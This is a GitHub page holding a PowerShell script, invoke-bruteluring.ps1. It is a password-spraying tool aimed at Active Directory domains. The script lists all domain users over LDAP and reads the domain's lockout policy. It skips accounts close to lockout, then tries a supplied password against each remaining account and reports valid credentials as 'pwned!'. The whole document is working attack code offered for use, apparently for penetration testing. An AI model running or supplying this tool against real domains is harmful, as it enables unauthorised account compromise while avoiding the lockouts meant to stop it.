-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathinvoke-bruteluring.ps1
132 lines (113 loc) · 5.01 KB
/
invoke-bruteluring.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
Function Test-Cred
{
Param($username, $password, $domain)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain
$pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain)
$object = New-Object PSObject | Select-Object -Property Username, Password, IsValid
$object.Username = $username;
$object.Password = $password;
$object.IsValid = $pc.ValidateCredentials($username, $password).ToString();
return $object
}
Function Invoke-Bruteluring{
param($password, [switch]$debug, $targetdomain)
write-host "
_ _ _ _ _ _
(_) | | | | | | | | (_)
_ _ ____ _____ | | _____ ______| |__ _ __ _ _| |_ ___| |_ _ _ __ _ _ __ __ _
| | '_ \ \ / / _ \| |/ / _ \______| '_ \| '__| | | | __/ _ \ | | | | '__| | '_ \ / _` |
| | | | \ V / (_) | < __/ | |_) | | | |_| | || __/ | |_| | | | | | | | (_| |
|_|_| |_|\_/ \___/|_|\_\___| |_.__/|_| \__,_|\__\___|_|\__,_|_| |_|_| |_|\__, |
__/ |
|___/
v0.4 viksecurity
"
if ($targetdomain -eq $null ){$targetdomain = $env:userdomain}
$domainFQDN = $targetdomain
$context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$domainFQDN)
try
{
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($context)
}
catch
{
Write-Output "[-] Cannot reach domain" $domainFQDN
break
}
$pdc=$domain.pdcRoleOwner.name
[int]$maxbad=($([ADSI]"WinNT://$targetdomain").MaxBadPasswordsAllowed).Value
[int]$lockoutobs=($([ADSI]"WinNT://$targetdomain").LockoutObservationInterval).Value
$ldap_format = "DC=" + $domain.name.Replace(".",",DC=")
$domaininfo = new-object DirectoryServices.DirectoryEntry("LDAP://$pdc/$ldap_format")
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$domaininfo)
$searcher.Filter='(&(objectCategory=Person)(objectClass=User))'
$searcher.CacheResults=$False
$searcher.pageSize=1000;
$users = $searcher.Findall().getdirectoryentry() | ForEach-Object{
New-Object -TypeName PSCustomObject -Property @{
samaccountname = $_.samaccountname.ToString()
badpwdcount = $_.badpwdcount.ToString()
}
}
write-host "[+] Domain is:" $domainFQDN
write-host "[+] Domain PDC is" $pdc
write-host "[+] Number of users:" $users.count
write-host "[+] Number of passwords:" $password.count
write-host "[+] MaxBadPassword allowed:" $maxbad
#Exclude users with high MaxBadPwd
if ($maxbad -eq 0){
Write-host "[+] No lockout set. Pwning all the things..."
} ELSE {
$usersbefore=$users
$users = $users | where {$_.badpwdcount -le ($maxbad-2) }
Write-host "[!] Removed $($usersbefore.count - $users.samaccountname.count) because observed MaxBadPassword $($maxbad-2) or higher."
}
Write-host "[!] Users left to pwn:" $users.samaccountname.count
$confirmation = Read-Host "Press y to pwn"
if ($confirmation -eq 'y') {
$i = 1
$usersnewcounts = $searcher.Findall().getdirectoryentry() | ForEach-Object{
New-Object -TypeName PSCustomObject -Property @{
samaccountname = $_.samaccountname.ToString()
badpwdcount = $_.badpwdcount.ToString()
}
}
#debug
if ($debug -eq $True){$usersbefore}
write-host ""
foreach ($user in $users){
#write-host "Testing" $password "on" $username
write-progress -Activity "Bruteluring in action. Testing $($user.samaccountname)" -status "$i of $($users.samaccountname.Count) done" -PercentComplete (($i / $users.samaccountname.Count) * 100)
$result = Test-Cred $user.samaccountname $password $pdc
if ($result | Where {$_.IsValid -eq $True}){ Write-host "pwned!" $result.username"\"$result.Password }
#get old badpwdcount
#$oldpwdcount = $($user | where {$_.samaccountname -eq $user.samaccountname}).badpwdcount
#get new badpwdcount
$samaccountname = $user.samaccountname
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$domaininfo)
$searcher.Filter="(&(objectClass=User)(sAMAccountName=$samaccountname))"
$searcher.CacheResults=$False
$userupdated = $searcher.Findall().getdirectoryentry() | ForEach-Object{
New-Object -TypeName PSCustomObject -Property @{
samaccountname = $_.samaccountname.ToString()
badpwdcount = $_.badpwdcount.ToString()
}
}
$oldpwdcount = $user.badpwdcount
$updpwdcount = $userupdated.badpwdcount
#debug
if ($debug -eq $True){write-host $user.samaccountname ":" $oldpwdcount "->" $updpwdcount}
if ($result | Where {$_.IsValid -eq $False}){
if ($oldpwdcount -eq $updpwdcount){
if($oldpwdcount -ne $maxbad){
#write-host "[+]" $user.samaccountname": password history includes $password"
}
}
}
}
$i++
}
write-host ""
write-host "[+] Done"
}